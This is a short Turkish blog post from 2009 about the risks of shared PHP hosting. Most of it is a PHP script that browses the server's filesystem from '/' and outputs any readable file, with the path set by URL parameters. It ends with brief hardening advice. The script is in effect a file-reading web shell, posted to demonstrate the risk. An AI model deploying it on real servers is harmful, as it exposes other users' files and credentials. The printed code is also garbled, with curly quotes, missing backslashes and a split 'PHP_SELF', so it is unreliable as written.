İçeriğe atla

Dosya Sisteminin Taranması

18/12/2009

Aşağıdaki kodlar bir sunucuda denendiğinde dosya sistemi içinde gezintiyi yapılmasını sağlar.

<?php

echo “<pre>n”;

if (ini_get(’safe_mode’))
{
echo “[safe_mode enabled]nn”;
}
else
{
echo “[safe_mode disabled]nn”;
}

if (isset($_GET[’dir’]))
{
ls($_GET[’dir’]);
}
elseif (isset($_GET[’file’]))
{
cat($_GET[’file’]);
}
else
{
ls(’/’);
}

echo “</pre>n”;

function ls($dir)
{
$handle = dir($dir);

while ($filename = $handle->read())
{
$size = filesize(“$dir$filename”);

if (is_dir(“$dir$filename”))
{
if (is_readable(“$dir$filename”))
{
$line = str_pad($size, 15);
$line .= “<a href=”{$_SERVER[’PHP_SE LF’]}?dir=$dir$filename/”>$filename/</a>”;
}
else
{
$line = str_pad($size, 15);
$line .= “$filename/”;
}
}
else
{
if (is_readable(“$dir$filename”))
{
$line = str_pad($size, 15);
$line .= “<a href=”{$_SERVER[’PHP_SELF’]}?file=$dir$filename”>$filename</a>”;
}
else
{
$line = str_pad($size, 15);
$line .= $filename;
}
}

echo “$linen”;
}

$handle->close();
}

function cat($file)
{
ob_start();
readfile($file);
$contents = ob_get_contents();
ob_clean();
echo htmlentities($contents);

return true;
}

?>

safe_mode belirteci ile bu tür PHP kodlarının çalışması engellenir, ama aynı betik başka dillerde yazılırsa bu belirtec faydasız kalır.

En güzel çözüm çok değerli bilgilerin veritabanında saklanmasıdır ve yukarıda bahsedilen veritabanı güvenliği konusunu uygulamaktır ($_SERVER[’DB_USER’] ve $_SERVER[’DB_PASS’] değişkenlerinin bahsedildiği yöntem gibi).

Paylaşılan bir sunucu kullanmak yerine mümkünse uygulamaya özel sunucu kullanmak daha güvenlidir. Çünkü aynı sunucuyu paylaşılan artniyetli kişilerden korunmak oldukça güçtür.

Yorum yapın

Yorum yapın

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Değiştir )

Twitter picture

You are commenting using your Twitter account. Log Out / Değiştir )

Facebook photo

You are commenting using your Facebook account. Log Out / Değiştir )

Connecting to %s

Takip Et

Get every new post delivered to your Inbox.

Join 117 other followers